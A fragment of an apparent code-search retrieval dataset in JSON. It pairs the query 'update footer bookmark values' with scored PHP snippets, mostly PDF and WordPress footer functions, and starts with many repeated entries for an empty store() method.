"0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" } ]
9d0cf75290cb8a142a3f619bc15fd35e
update footer bookmark values
[ { "docid": "20832a99abec0c0d5f8aedd4fa0175e2", "score": "0.65260166", "text": "public function setFooterBookmarkValue($bmName, $value)\n {\n $this->footerBookmarks[count($this->footerBookmarks)] = array(\n 'name' => $bmName,\n 'value' => $value,\n );\n }", "title": "" } ]
[ { "docid": "6831704766eb40fcee343d4128b7d226", "score": "0.5935273", "text": "function page_in_footer_update($post_id)\n{\n\tif(!wp_verify_nonce($_POST['page_in_footer_nonce'], __FILE__)) return false; \n\tif(defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) return false; \n\tif(!current_user_can('edit_post', $post_id)) return false; \n\t\n\tif(!isset($_POST['page_in_footer']))\n\t{\n\t\tdelete_post_meta($post_id, 'page_in_footer');\n\t}\n\telse\n\t{\n\t\t$page_in_footer = trim($_POST[\"page_in_footer\"]);\n\t\tupdate_post_meta($post_id, 'page_in_footer', $page_in_footer);\t\n\t}\n\n\tif(!isset($_POST['anons_text']) OR empty($_POST['anons_text']))\n\t{\n\t\tdelete_post_meta($post_id, 'anons_text');\n\t}\n\telse\n\t{\n\t\t$anons_text = trim($_POST['anons_text']);\n\t\tupdate_post_meta($post_id, 'anons_text', $anons_text);\n\t}\n\t\n\treturn $post_id;\n}", "title": "" }, { "docid": "0d253120dc009feaecce3bb2c3a660b4", "score": "0.5787898", "text": "function footer(){\n\t $this->SetY(-15);\n\t // Arial italic 8\n\t $this->SetFont('Times','',12);\n\t // Page number\n\t $this->Cell(0,10,$this->PageNo(),0,0,'R');\n\t}", "title": "" }, { "docid": "c97c3bf209f701b12e37ad758f5eada6", "score": "0.5751256", "text": "public function modify_footer() {\n $pointers = LaterPay_Controller_Admin::get_pointers_to_be_shown();\n\n // don't render the partial, if there are no pointers to be shown\n if ( empty( $pointers ) ) {\n return;\n }\n\n // assign pointers\n $view_args = array(\n 'pointers' => $pointers,\n );\n\n $this->assign( 'laterpay', $view_args );\n\n echo laterpay_sanitized( $this->get_text_view( 'backend/partials/pointer-scripts' ) );\n }", "title": "" }, { "docid": "675e3e2e166adca9746b1d4369eed1ad", "score": "0.57431644", "text": "protected function setFooter() {\n\n\t\t\t//Page footer\n\n\t\t\t// save current graphic settings\n\n\t\t\t$gvars = $this->getGraphicVars();\n\n\t\t\t// mark this point\n\n\t\t\t$this->footerpos[$this->page] = $this->pagelen[$this->page];\n\n\t\t\t$this->_out(\"\\n\");\n\n\t\t\tif ($this->print_footer) {\n\n\t\t\t\t$lasth = $this->lasth;\n\n\t\t\t\t$this->_out('q');\n\n\t\t\t\t$this->rMargin = $this->original_rMargin;\n\n\t\t\t\t$this->lMargin = $this->original_lMargin;\n\n\t\t\t\t$this->cMargin = 0;\n\n\t\t\t\t//set current position\n\n\t\t\t\t$footer_y = $this->h - $this->footer_margin;\n\n\t\t\t\tif ($this->rtl) {\n\n\t\t\t\t\t$this->SetXY($this->original_rMargin, $footer_y);\n\n\t\t\t\t} else {\n\n\t\t\t\t\t$this->SetXY($this->original_lMargin, $footer_y);\n\n\t\t\t\t}\n\n\t\t\t\t$this->SetFont($this->footer_font[0], $this->footer_font[1], $this->footer_font[2]);\n\n\t\t\t\t$this->Footer();\n\n\t\t\t\t//restore position\n\n\t\t\t\tif ($this->rtl) {\n\n\t\t\t\t\t$this->SetXY($this->original_rMargin, $this->tMargin);\n\n\t\t\t\t} else {\n\n\t\t\t\t\t$this->SetXY($this->original_lMargin, $this->tMargin);\n\n\t\t\t\t}\n\n\t\t\t\t$this->_out('Q');\n\n\t\t\t\t$this->lasth = $lasth;\n\n\t\t\t}\n\n\t\t\t// restore graphic settings\n\n\t\t\t$this->setGraphicVars($gvars);\n\n\t\t\t// calculate footer lenght\n\n\t\t\t$this->footerlen[$this->page] = $this->pagelen[$this->page] - $this->footerpos[$this->page] + 1;\n\n\t\t}", "title": "" }, { "docid": "0f824936b6ff26712ee8dab609693b6b", "score": "0.5737733", "text": "function Footer() {\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial', 'I', 8);\n // Page number\n // $this->Cell(0, 10, 'Page ' . $this->PageNo() . '/{nb}', 0, 0, 'C');\n }", "title": "" }, { "docid": "7c8008dc15599f5c4280a14496da5eed", "score": "0.57085574", "text": "public function paginationFooter();", "title": "" }, { "docid": "be04347b7d7d83fea43c404556d0f07b", "score": "0.5703739", "text": "function Page_Exported() {\r\n\r\n\t\t//$this->ExportDoc->Text .= \"my footer\"; // Export footer\r\n\t\t//echo $this->ExportDoc->Text;\r\n\r\n\t}", "title": "" }, { "docid": "a33c81a9bb2201ff03b159d0ea66ce03", "score": "0.5693841", "text": "public function edit(Footer $footer)\n {\n //\n }", "title": "" }, { "docid": "e30f70c50fb085bf32d6085108b8d696", "score": "0.5669162", "text": "public function do_footer_items() {}", "title": "" }, { "docid": "e30f70c50fb085bf32d6085108b8d696", "score": "0.56680715", "text": "public function do_footer_items() {}", "title": "" }, { "docid": "3ac4d4b79533633e7f65942aeecd31f1", "score": "0.5663762", "text": "function Footer()\n {\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n }", "title": "" }, { "docid": "3ac4d4b79533633e7f65942aeecd31f1", "score": "0.5663762", "text": "function Footer()\n {\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n }", "title": "" }, { "docid": "dad61b4f69193c1a13686e790b5d21b9", "score": "0.56613326", "text": "function Footer()\n {\n $this->SetY(-15);\n // Select Arial italic 8\n $this->SetFont('Arial','I',8);\n // Print current and total page numbers\n $this->Cell(0,10, utf8_decode('Página '.$this->PageNo()),0,0,'C');\n }", "title": "" }, { "docid": "dad61b4f69193c1a13686e790b5d21b9", "score": "0.56613326", "text": "function Footer()\n {\n $this->SetY(-15);\n // Select Arial italic 8\n $this->SetFont('Arial','I',8);\n // Print current and total page numbers\n $this->Cell(0,10, utf8_decode('Página '.$this->PageNo()),0,0,'C');\n }", "title": "" }, { "docid": "7f1dfb0a365ff038153869ddb8de9a2f", "score": "0.56502753", "text": "function Footer()\r\n {\r\n $this->SetY(-15);\r\n //Arial italic 8\r\n $this->SetFont('Arial','I',8);\r\n //Page number\r\n $this->Cell(0,10,'Page '.$this->PageNo().'',0,0,'C');\r\n }", "title": "" }, { "docid": "f83a19b44c582463f519f507d4bc9f97", "score": "0.5643943", "text": "function Page_Exported() {\n\n\t\t//$this->ExportDoc->Text .= \"my footer\"; // Export footer\n\t\t//echo $this->ExportDoc->Text;\n\n\t}", "title": "" }, { "docid": "f83a19b44c582463f519f507d4bc9f97", "score": "0.5643943", "text": "function Page_Exported() {\n\n\t\t//$this->ExportDoc->Text .= \"my footer\"; // Export footer\n\t\t//echo $this->ExportDoc->Text;\n\n\t}", "title": "" }, { "docid": "f83a19b44c582463f519f507d4bc9f97", "score": "0.5643943", "text": "function Page_Exported() {\n\n\t\t//$this->ExportDoc->Text .= \"my footer\"; // Export footer\n\t\t//echo $this->ExportDoc->Text;\n\n\t}", "title": "" }, { "docid": "f83a19b44c582463f519f507d4bc9f97", "score": "0.5643943", "text": "function Page_Exported() {\n\n\t\t//$this->ExportDoc->Text .= \"my footer\"; // Export footer\n\t\t//echo $this->ExportDoc->Text;\n\n\t}", "title": "" }, { "docid": "88fce8dd2c14afec01c2b4c33e40aa02", "score": "0.5634094", "text": "public function bulk_footer() {}", "title": "" }, { "docid": "0c244801d57390bdc75e5d46ebd7f704", "score": "0.56205165", "text": "function Footer()\n {\n $this->SetY(-12);\n // Arial italic 8\n $this->SetFont('Arial','I',8);\n // Page number\n $this->Cell(335,10,'copyright @ 2RA Technology Limited',0,0,'C');\n }", "title": "" }, { "docid": "a1f58a7a209147915ddf507b59c83f22", "score": "0.56166637", "text": "function twentyseventeen_entry_footer() {}", "title": "" }, { "docid": "aff28770cd67301b43c3dc0cff2615f1", "score": "0.5607616", "text": "function Footer()\n{\n$companyArrInfo=getCompanyInfo();\n$companyArr=explode('||', $companyArrInfo[0]);\n$mynewsess=$_SESSION[statementfromtbl];\n //Position at 1.5 cm from bottom\n $this->SetY(-25);\n //Arial italic 8\n\t$date_printed=date('d-m-Y');\n $this->SetFont('Courier','',8);\n $this->Cell(180,6,$companyArr[0],0,1,'C');\n\t $this->SetY(-18);\n\t $this->SetFont('Courier','I',6);\n\t $this->Cell(180,6,ucwords($_SESSION[$mynewsess]).' printed by '.$_SESSION['my_username'].' as at '.$date_printed,0,1,'C');\n //$this->Cell(100,6,$_SESSION[stmadmin_adminuser'].' printed by '.$_SESSION['my_username'],0,1,'R');\n $this->Cell(100,6,' Page '.$this->PageNo().' of {nb}',0,1,'R');\n}", "title": "" }, { "docid": "4e895db2f0fcc9cc159e6a20f0006d6a", "score": "0.5605819", "text": "function Footer()\n\t{\n\t\t\t//$this->SetY(-15);\n\t\t\t//Select Arial italic 8\n\t\t\t//$this->SetFont('Arial','I',8);\n\t\t\t//Print current and total page numbers\n\t\t\t//$this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n\t}", "title": "" }, { "docid": "02081cbc1537812abfcd4ddae0dde67e", "score": "0.5603031", "text": "function Footer()\n {\n $this->SetY(-15);\n // Times italic 8\n $this->SetFont('Times','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n }", "title": "" }, { "docid": "2cfef253402cb144b7d44f165474f18b", "score": "0.55970746", "text": "function Footer() {\n $this->SetY(-15);\n $this->SetX(250);\n //Arial italic 8\n $this->SetFont('Arial', 'I', 8);\n //Page number\n $this->Write(5, date(\"d/m/Y H:i:s\"));\n $this->SetX(125);\n $this->Write(5, utf8_decode('Página ' . $this->PageNo()));\n }", "title": "" }, { "docid": "ded8324b36e18a8263af672285f60b63", "score": "0.5589547", "text": "function Footer()\n {\n $this->SetY(-15);\n // Times italic 8\n $this->SetFont('Times','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n }", "title": "" }, { "docid": "ded8324b36e18a8263af672285f60b63", "score": "0.5589547", "text": "function Footer()\n {\n $this->SetY(-15);\n // Times italic 8\n $this->SetFont('Times','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n }", "title": "" }, { "docid": "ded8324b36e18a8263af672285f60b63", "score": "0.5589547", "text": "function Footer()\n {\n $this->SetY(-15);\n // Times italic 8\n $this->SetFont('Times','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n }", "title": "" }, { "docid": "9402b7e251788fd426b092414f357942", "score": "0.5582936", "text": "function Footer()\n {\n $this->SetY(-15);\n $this->SetFont('Arial','I',8);\n $this->Cell(0,5,'Page '.$this->PageNo().'/{nb}',0,2,'C');\n }", "title": "" }, { "docid": "b30e83554a2bea01573f96d03092d605", "score": "0.55715716", "text": "public function pageDataRendered(&$footer)\n {\n // Example:\n //$footer = \"your footer\";\n }", "title": "" }, { "docid": "b30e83554a2bea01573f96d03092d605", "score": "0.55715716", "text": "public function pageDataRendered(&$footer)\n {\n // Example:\n //$footer = \"your footer\";\n }", "title": "" }, { "docid": "5941a58117b806b17ed6aa4b711eab48", "score": "0.55689615", "text": "function hestia_copyright_alignment_callback() {\n\thesta_bottom_footer_content( true );\n}", "title": "" }, { "docid": "96056d6c88ed01f0843c4dcc48f2e2ac", "score": "0.55627537", "text": "public function Footer() {\r\n $this->SetY(-15);\r\n // Set font\r\n $this->SetFont('helvetica', 'I', 12);\r\n // Page number\r\n\t\t$address = \"ticketing@provab.co.in\";\r\n $this->MultiCell(0, 10, $address, 0, 'C'); \r\n }", "title": "" }, { "docid": "c1a298256917d017981b517b9002b0eb", "score": "0.5552775", "text": "function Footer() {\r\n\t $this->SetY(-15);\r\n\t // Arial italic 8\r\n\t $this->SetFont('Arial','',8);\r\n\t // Page number\r\n\t $this->Cell(0,10,'Page '.$this->PageNo().' of {nb}',0,0,'C');\r\n\t}", "title": "" }, { "docid": "08a9fba77985623ce568b66d844e626f", "score": "0.5552501", "text": "function Page_DataRendered(&$footer) {\r\n\r\n\t\t// Example:\r\n\t\t//$footer = \"your footer\";\r\n\r\n\t}", "title": "" }, { "docid": "08a9fba77985623ce568b66d844e626f", "score": "0.5552501", "text": "function Page_DataRendered(&$footer) {\r\n\r\n\t\t// Example:\r\n\t\t//$footer = \"your footer\";\r\n\r\n\t}", "title": "" }, { "docid": "08a9fba77985623ce568b66d844e626f", "score": "0.5552501", "text": "function Page_DataRendered(&$footer) {\r\n\r\n\t\t// Example:\r\n\t\t//$footer = \"your footer\";\r\n\r\n\t}", "title": "" }, { "docid": "08a9fba77985623ce568b66d844e626f", "score": "0.5552501", "text": "function Page_DataRendered(&$footer) {\r\n\r\n\t\t// Example:\r\n\t\t//$footer = \"your footer\";\r\n\r\n\t}", "title": "" }, { "docid": "08a9fba77985623ce568b66d844e626f", "score": "0.5552501", "text": "function Page_DataRendered(&$footer) {\r\n\r\n\t\t// Example:\r\n\t\t//$footer = \"your footer\";\r\n\r\n\t}", "title": "" }, { "docid": "923b3f74e2aa3c1b4f8526a6229a3206", "score": "0.554879", "text": "public function hookDisplayBackOfficeFooter()\n {\n }", "title": "" }, { "docid": "1d52c610ebab921766133d188f81df10", "score": "0.553728", "text": "public function footer()\n\t{\n\t\t$footer=$this->My_model->bottom_link();\n\t\t$data['footer']=$footer;\n\t\t$this->load->view('Admin/footer',$data);\n\t}", "title": "" }, { "docid": "22afaa49c4c412922304afbdb5ae8c17", "score": "0.5536322", "text": "function Footer()\n\t{\n\t $this->SetY(-15);\n\t // Select Arial italic 8\n\t $this->SetFont('Arial','I',8);\n\t // Print current and total page numbers\n\t $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n\t}", "title": "" }, { "docid": "4f674c9e816584b6a6f6a26efad8af6b", "score": "0.55353135", "text": "function Footer() {\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial', 'I', 8);\n // Page number\n $this->Cell(0, 10, utf8_decode('Página: ' . $this->PageNo() . '/{nb}'), 0, 0, 'C');\n }", "title": "" }, { "docid": "f576b3e7eb745340b2116dbc5b6edd11", "score": "0.5532652", "text": "function add_to_footer() {\n\t$option=get_option('eli_tool');\n\t$note_legali=$privacy_policy=$cookie_policy=\"\";\n\t$footer='';\n\tif(isset($option['check_cookie_policy'])){\n\t\t$cookie_policy='<a href=\"'.get_permalink(get_option( 'id_pagina_info' )).'\">Cookie Policy</a>';\n\t}\n\tif(isset($option['check_privacy_policy'])){\n\t\t$privacy_policy='<a href=\"'. get_permalink(get_option('privacy_policy')).'\">Privacy Policy</a>';\n\t}\n\tif(isset($option['check_note_legali'])){\n\t\t$note_legali='<a href=\"'. get_permalink(get_option('note_legali')).'\">Note Legali</a>';\n\t}\n\t\n\tif($note_legali!='' || $privacy_policy!='' || $cookie_policy!='' ){\n\t\t$footer='<p id=\"policy_footer\">';\n\t\tif($cookie_policy!='')\n\t\t\t$footer.=$cookie_policy;\n\t\tif($privacy_policy!='')\n\t\t\t$footer.=$privacy_policy;\n\t\tif($note_legali!='')\n\t\t\t$footer.=$note_legali;\n\t}\n $footer.='</p>';\n\t$selettore_css=$option['selector_footer'];\n\t?>\n <script>\n\t\tjQuery('<?php echo $selettore_css; ?>').append('<?php echo $footer; ?>');\n\t\tjQuery('#policy_footer a').css({\n\t\t\t\t'text-decoration':'none',\n\t\t\t\t'font-family':'arial',\n\t\t\t\t'font-size':'11px',\n\t\t\t\t'margin-right':'10px',\n\t\t\t\t'color':'#6A6A6A',\n\t\t\t\t'padding-bottom' : '5px'\n\t\t\t});\n\t\t\t\n\t\t// aggiungi la barra dei cookie\n\t\tjQuery.cookieBar({\n\t\t\t message: '<?php if(isset($option['text_banner']) and $option['text_banner']!='')echo esc_attr($option['text_banner']); else echo 'Questo sito utilizza cookie tecnici per la navigazione'; ?>',\n\t\t\t acceptText: '<?php if(isset($option['text_accetto']) and $option['text_accetto']!='')echo $option['text_accetto']; else echo 'Accetto'; ?>',\n\t\t\t policyText: '<?php if(isset($option['text_cookie_policy']) and $option['text_cookie_policy']!='')echo $option['text_cookie_policy']; else echo 'Maggiori informazioni'; ?>',\n\t\t\t policyURL: '<?php echo get_permalink(get_option( 'id_pagina_info' ));?>',\n\t\t\t declineButton: <?php if(isset($option['button_disable']) and $option['button_disable']){ ?>true <?php } else {?> false <?php }?>,\n\t\t\t declineText: '<?php if(isset($option['text_dis_button']) and $option['text_dis_button']!='')echo $option['text_dis_button']; else echo 'Disabilita'; ?>',\n\t\t\t policyButton: true,\n\t\t\t acceptOnContinue: <?php if(isset($option['acceptOnContinue']) and $option['acceptOnContinue']){ ?>true <?php } else {?> false <?php }?>,\n\t\t\tacceptOnScroll: <?php if(isset($option['acceptOnScroll']) and $option['acceptOnScroll']){ ?>true <?php } else {?> false <?php }?>, \n\t\t\tacceptAnyClick: <?php if(isset($option['acceptAnyClick']) and $option['acceptAnyClick']){ ?>true <?php } else {?> false <?php }?>,\n\t\t\t fixed: true,\n\t\t\t bottom: <?php if(isset($option['bottom_banner']) and $option['bottom_banner']){ ?>true <?php } else {?> false <?php }?>,\n\t\t\t zindex: '99999'\n\t\t\t });\n\t\t\t \n\t\t// colore testo banner\t \n\t\tjQuery('#cookie-bar').css({'color':'<?php \n\t\tif($option['color_text_banner']!=false)\n\t\t\t echo $option['color_text_banner']; \n\t\telse\n\t\t\techo \"#eeeeee\" ?>'});\n\t\t\t\n\t\t // colore banner\n\t\tjQuery('#cookie-bar').css({'background':'<?php \n\t\tif($option['color_banner']!=false)\n\t\t\t echo $option['color_banner']; \n\t\telse\n\t\t\techo \"#000\" ?>'});\t\n\t\t\t\n\t\t// colore testo bottone cookie\n\t\tjQuery('.cb-enable').css({'color':'<?php \n\t\tif($option['color_text_btn_cookie']!=false)\n\t\t\t echo $option['color_text_btn_cookie']; \n\t\telse\n\t\t\techo \"#eeeeee\" ?>'});\n\t\t\t\n\t\t// colore bottone cookie\n\t\tjQuery('.cb-enable').css({'background':'<?php \n\t\tif($option['color_btn_cookie']!=false)\n\t\t\t echo $option['color_btn_cookie']; \n\t\telse\n\t\t\techo \"#green\" ?>'});\n\t\t\t\n\t\t// colore test bottone cookiepolicy\n\t\tjQuery('.cb-policy').css({'color':'<?php 